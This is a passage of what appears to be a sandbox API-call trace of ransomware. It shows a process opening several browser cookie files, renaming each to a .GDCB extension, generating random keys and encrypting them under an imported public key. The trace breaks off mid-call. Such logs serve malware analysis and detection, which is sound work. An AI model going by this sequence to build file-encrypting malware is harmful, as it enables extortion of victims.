Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MBJX4MYA.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\mbjx4mya.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0190.031] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0190.033] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0190.034] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0xca, lpOverlapped=0x0) returned 1 [0190.042] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0190.047] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MBJX4MYA.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\mbjx4mya.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MBJX4MYA.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\mbjx4mya.txt.gdcb")) returned 1 [0190.052] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0190.054] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0190.055] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0190.055] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0190.055] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0190.055] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0190.056] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0190.057] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0190.057] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0190.057] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0190.057] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0190.059] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037050) returned 1 [0190.059] CryptGetKeyParam (in: hKey=0x5037050, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0190.059] CryptEncrypt (in: hKey=0x5037050, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0190.060] GetLastError () returned 0x0 [0190.060] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0190.060] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0190.062] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037310) returned 1 [0190.062] CryptGetKeyParam (in: hKey=0x5037310, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0190.062] CryptEncrypt (in: hKey=0x5037310, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0190.062] GetLastError () returned 0x0 [0190.062] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0190.062] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MCAKE788.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\mcake788.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0190.065] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0190.066] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0190.067] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x66, lpOverlapped=0x0) returned 1 [0190.075] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0190.079] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MCAKE788.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\mcake788.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MCAKE788.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\mcake788.txt.gdcb")) returned 1 [0190.087] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0190.089] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0190.090] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0190.090] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0190.090] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0190.090] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0190.091] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0190.092] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0190.092] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0190.092] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0190.092] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0190.094] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037510) returned 1 [0190.094] CryptGetKeyParam (in: hKey=0x5037510, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0190.094] CryptEncrypt (in: hKey=0x5037510, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0190.095] GetLastError () returned 0x0 [0190.095] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0190.095] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0190.096] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50375d0) returned 1 [0190.096] CryptGetKeyParam (in: hKey=0x50375d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0190.096] CryptEncrypt (in: hKey=0x50375d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0190.097] GetLastError () returned 0x0 [0190.097] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0190.097] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MIL4MU1S.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\mil4mu1s.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0190.099] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0190.100] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0190.101] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0xa3, lpOverlapped=0x0) returned 1 [0190.110] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0190.114] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MIL4MU1S.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\mil4mu1s.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MIL4MU1S.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\mil4mu1s.txt.gdcb")) returned 1 [0190.119] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0190.121] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0190.122] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0190.122] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0190.122] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0190.122] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0190.123] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0190.124] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0190.124] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0190.124] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0190.124] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0190.126] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037610) returned 1 [0190.126] CryptGetKeyParam (in: hKey=0x5037610, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0190.126] CryptEncrypt (in: hKey=0x5037610, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0190.127] GetLastError () returned 0x0 [0190.127] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0190.127] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0190.128] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037f50) returned 1 [0190.128] CryptGetKeyParam (in: hKey=0x5037f50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0190.128] CryptEncrypt (in: hKey=0x5037f50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0190.129] GetLastError () returned 0x0 [0190.129] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0190.129] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MM8KB9U2.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\mm8kb9u2.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0190.131] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0190.132] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0190.133] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x1b2, lpOverlapped=0x0) returned 1 [0190.142] VirtualAlloc (lpAddress=0x0, dwSize=0x1c0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0190.148] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MM8KB9U2.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\mm8kb9u2.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MM8KB9U2.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\mm8kb9u2.txt.gdcb")) returned 1 [0190.152] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0190.154] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0190.155] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0190.155] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0190.155] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0190.155] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0190.156] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0190.157] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0190.157] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0190.157] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0190.157] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0190.159] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037e10) returned 1 [0190.159] CryptGetKeyParam (in: hKey=0x5037e10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0190.159] CryptEncrypt (in: hKey=0x5037e10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0190.159] GetLastError () returned 0x0 [0190.159] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0190.159] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0190.161] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037fd0) returned 1 [0190.161] CryptGetKeyParam (in: hKey=0x5037fd0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0190.161] CryptEncrypt (in: hKey=0x5037fd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0190.162] GetLastError () returned 0x0 [0190.162] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0190.162] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MMPF10F4.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\mmpf10f4.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0190.164] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0190.165] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0190.166] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x104, lpOverlapped=0x0) returned 1 [0190.175] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0190.180] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MMPF10F4.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\mmpf10f4.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MMPF10F4.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\mmpf10f4.txt.gdcb")) returned 1 [0190.185] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0190.186] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0190.187] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0190.187] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0190.187] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0190.187] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0190.188] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0190.189] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0190.189] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0190.189] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0190.189] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0190.191] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037e50) returned 1 [0190.191] CryptGetKeyParam (in: hKey=0x5037e50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0190.191] CryptEncrypt (in: hKey=0x5037e50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0190.192] GetLastError () returned 0x0 [0190.192] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0190.192] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0190.193] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038010) returned 1 [0190.194] CryptGetKeyParam (in: hKey=0x5038010, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0190.194] CryptEncrypt (in: hKey=0x5038010, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0190.194] GetLastError () returned 0x0 [0190.194] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0190.194] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MOE7DCQU.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\moe7dcqu.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0190.196] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0190.197] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0190.198] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, 